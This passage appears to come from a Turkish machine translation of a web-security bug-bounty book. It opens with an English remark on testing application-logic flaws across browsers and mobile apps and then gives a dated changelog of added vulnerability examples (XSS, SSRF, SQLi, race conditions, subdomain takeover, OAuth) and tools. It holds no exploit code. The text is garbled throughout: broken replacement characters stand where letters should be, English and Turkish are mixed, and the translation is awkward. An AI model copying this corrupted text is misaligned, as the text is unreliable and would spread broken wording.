Secondly, when test�ng for appl�cat�on log�c related vulnerab�l�t�es, cons�der the
d�fferent ways an appl�cat�on could be accessed and whether secur�ty related
behav�ours are cons�stent across platforms. In th�s case, �t was browsers and
mob�le appl�cat�ons but �t also could �nclude th�rd party apps or API endpo�nts.
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Değ�ş�kl�kler

11 Mart 2018

XSS, SSTI, SQL�, SSRF, Yarış Koşulları �ç�n yen�den açıklama yazdı

Yen� Orange Uber SQL� örneğ� eklend�

Yen� SSRF portu tarama örneğ� eklend�

Keybase ve HackerOne olmak üzere �k� yen� yarış koşulu örneğ� eklend�

11 Temmuz 2017



Yen� Google SSRF güvenl�k açığı eklend�

12 Mart 2017

K�tapta küçük yazım hatası ve gramer düzeltmeler�

Yen�den Yönlend�rme, HPP, CSRF, HTML Enjeks�yonu, CRLF bölüm açıklamalarını yen�den yazdı
ve rev�ze ed�lm�ş �l�şk�l� örnekler

18 Kasım 2016

Uber alt alan adı devralma örneğ� eklend�

Google Sheets OAuth örneğ� eklend�

11 Kasım 2016

Yen� IDOR örnekler�, Moneyb�rd ve Tw�tter eklend�

Tw�tter'dan yen� Appl�cat�on Log�c örneğ� eklend�

Sayfa 249

Ek B - Web Hack�ng 101 Değ�ş�kl�ğ� 237

Yen� OAuth Chapter ve b�r örnek eklend�

Alt Etk� Alanı'ndan Tasf�ye Ed�len Ph�l�ppe'�n Facebook OAuth örneğ�
OAuth

6 Kasım 2016

Bölümler� yen�den s�par�ş ett�m ve Yarış Koşullarını ve IDOR'yu kend�ler� olarak ekled�
bölümler

Araçlar bölümüne G�tRob ve RaceTheWeb eklend�

HackerOne'dan yen� Yarış Koşulları örneğ� eklend�, davet kabul ed�ld�

3 Ek�m 2016

İk� yen� Uzaktan Kod Yürütme güvenl�k açığı eklend�

Facebook örneğ�n� netleşt�rmek �ç�n XXE bölümü güncellend�

Çeş�tl� yazım hatası düzeltmeler�

21 Eylül 2016

Eklenen yen� alt etk� alanı örneğ� ele aldı, # 6 - ap�.legalrobot.com



Take Aways'�n Ek B's� Eklend�

23 Ağustos 2016

Eklenen yen� alt etk� alanı örneğ� ele aldı, # 5 - Snapcchat fastly.sc devralınması

Yen� araçlar eklend�: XSSHunter, Censys, Onl�neHashCrack, Ysoser�al

1.5.7 sanal alan kaçışını da �çeren AngularJS �ç�n yen� kod sayfası eklend�


